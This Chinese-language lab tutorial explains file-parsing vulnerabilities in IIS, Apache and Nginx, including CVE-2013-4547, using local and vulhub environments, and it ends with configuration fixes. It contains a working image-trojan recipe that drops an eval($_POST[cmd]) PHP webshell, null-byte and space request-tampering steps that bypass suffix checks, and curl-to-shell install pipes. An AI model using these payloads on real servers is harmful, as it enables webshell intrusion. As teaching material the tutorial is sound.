当我们访问web服务器时,如:www.test.com/index.php文件时,向web服务器发出请求,访问php文件,php的解析器将php文件解析成静态文件,返回给浏览器供用户浏览。
服务器解析漏洞就发生在浏览器向服务器上传文件时,服务器把攻击者恶意构造的文件进行解析,并返回给浏览器,从而达到上传恶意文件的目的。
一、解析漏洞分类
0x01 IIS5.x/6.0解析漏洞
IIS的解析方法有两种
1、目录解析
如果服务器上存在一个目录为xx.asp,那么在这个目录下的文件都会被解析成asp文件。
2、文件解析
通过菜刀进行连接即可连接成功。
IIS6.0除了执行asp文件外,还可以执行如:asa、cer、cdx等文件后缀的文件。可结合目录解析漏洞进行利用。如:xxx.cer/xxx.jpg,xxx.asa;.jpg。
0x02 apache解析漏洞
1、多种后缀
apache对文件后缀的识别是从右往左进行解析,如:xxx.php.hcx.hts。会先判断右边的.hts后缀,发现这个后缀不正常,开始解析.hcx,最终解析到php文件,从而执行恶意文件。
查看php的模块配置文件/etc/apache2/mods-available/php7.0.conf
#从下面的FileMatch中可以看到".+.ph(p[3457]?|t|tml)$",$代表最后一个,说明php本身
#还是检测最后一个后缀的 。
<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
Deny access to files without filename (e.g. '.php')
<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>
Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
访问如下,php未解析,直接返回源代码:
接下来,我们将上述那段配置文件中18行的$
改成\.
线。
<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
Require all denied
</FilesMatch>
# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
重启apache服务。
service apache2 restart
文件解析成功。
2、罕见后缀
apache会解析特定的mime类型的文件,在/etc/mime.types文件中定义了可以解析的文件后缀格式。
如果站点的文件上传处,未对在mime.types文件中类型进行过滤,那么有可能攻击者可以通过上传apache解析的异类php文件后缀,从而绕过站点过滤器。
3、.htacesss文件
在网站根目录默认不存在.htaccess文件,需要自己建立,.htaccess内容如下
AddType application/x-httpd-php xxx
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess功能默认是未开启的,访问结果如下:
编辑apache配置文件,将AllowOverride None改成AllowOverride All
<Directory />
Options FollowSymLinks
AllowOverride All
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
并且将.ht开头的匹配改成granted.
<FilesMatch "^.ht">
Require all granted
</FilesMatch>
加载rewrite模块,rewrite模块通过创建软连接的形式进行加载
cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load
如上,.htaccess功能已经开启。在网站根目录(/var/www/html)建立相应的测试文件。
root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
│ ├── shell.jpg
│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)
shell.jpg和type.xxx的内容均为
<?php echo 'HELLO WORLD'; ?>
浏览器访问shell.jpg图片后缀和type.xxx的文件,直接执行了php代码文件。
合理的利用.htaccess文件可以很好的绕过php后缀的过滤。
0x03 nginx解析漏洞
Nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。
Nginx在0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37版本中曾被发现存在较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。
nginx漏洞环境搭建起来比较麻烦,还是直接用漏洞平台吧!
所以,就拿vulhub漏洞平台进行演示。
vulhub项目地址:https://github.com/vulhub/vulhub
vulhub漏洞平台基于docker进行搭建,docker的好处是漏洞环境可以直接拉取下来,直接可以使用,不用自己重新去搭建环境。
1、安装docker
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
service docker start
# 安装compose
pip install docker-compose
2、vulhub用法
# 拉取项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 进入某一个漏洞/环境的目录
cd flask/ssti
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
以上来自vulhub的readme
注:启动环境时,注意系统时间的设置,如果时间不一致会报错。
Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no
环境搭建完成。
3、nginx解析原理
nginx解析漏洞与nginx、php版本无关,属于用户配置文件配置不当造成的,但在高版本的php中,引入了“security.limit_extensions”机制,默认只解析后缀为.php的文件。
nginx版本如下:
Nginx拿到一个test.jpg/.php
的文件之后,看到url最后面的php文件后缀,便认为是php文件,交给php解析器进行处理,但php解析器未发现这个php文件,便去掉php后缀,取test.jpg,test.jpg存在但不是php文件而是图片文件,php解析器不解析,返回Access denied。
nginx解析漏洞有80sec组织发现的,当在fastcgi开启的情况下,攻击者上传一个jpg文件,测试内容如下:
<?PHP phpinfo() ?>
然后访问xxx.jpg/.php
文件,那么这个文件会解析成php文件。
此时,显示如下:
显示Access denied。
这是因为在最新版的php.ini配置文件中,cgi.fix_pathinfo=1,默认为1,如果将cgi.fix_pathinof设置为0,那么就不解析后面的后缀了,解析漏洞也就不存在了。
现在还解析不了,因为在新版本的php中引入了“security.limit_extensions”机制,限制了可执行文件的后缀。
# 查找php-fpm.conf文件
# find / -name php-fpm.conf
/etc/php-fpm.conf
php-fpm.conf文件包含了/etc/php-fpm.d/*.conf
目录下的文件配置。
进入到/etc/php-fpm.d/目录下,编辑相应的配置文件,找到security.limit_extensions
,添加gif后缀。
重启nginx和php-fpm服务,通过浏览器访问xxx.jpg/.php
,解析成功。
4、制作图片马
copy xx.png/b + yy.txt/a xy.png
# yy.txt内容如下:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
上传一个png图片马,浏览器访问。
菜刀访问生成的shell.php文件,http://192.168.63.131/shell.php。
参考:https://blog.csdn.net/wn314/article/details/77388289
5、修复建议:
-
将php.ini配置文件中的cgi.fix_pathinfo=1改成cgi.fix_pathinfo=0
-
通过新版本的php中引入了“security.limit_extensions”机制,限制了可执行文件的后缀。
6、Nginx 文件名逻辑漏洞(CVE-2013-4547)
扩展下另一个漏洞,也被叫做为00截断。
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
nginx的配置文件中:
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
# try_files $uri = 404;
}
默认匹配到.php结尾的文件就发给fastcgi进行解析,
在cgi.fix_pathinfo=0的情况下,默认只允许执行php后缀的文件,如果存在**Nginx 文件名逻辑漏洞(CVE-2013-4547),**则非法字符空格和截止符(\0)
会导致Nginx解析URI时的有限状态机混乱,允许攻击者通过非编码空格绕过后缀限制,从而执行php代码。
利用vulhub环境测试,测试页面如下:
6.1、上传gif图片文件,burp拦截请求。
gif图片文件内容如下:
<?php phpinfo();?>
将1.gif改为1.gif[空格],.gif后面加一个空格,点击forward,提示上传成功。
6.2、浏览器访问
浏览器访问192.168.63.140:8080/uploadfiles/1.gif…php,在gif后面加…php,方便改包,burp将请求包拦截下来。
将gif后的第一个点改为20,第二个点改成00,点击forward。
最终请求的url就是192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php
6.3、php代码成功执行。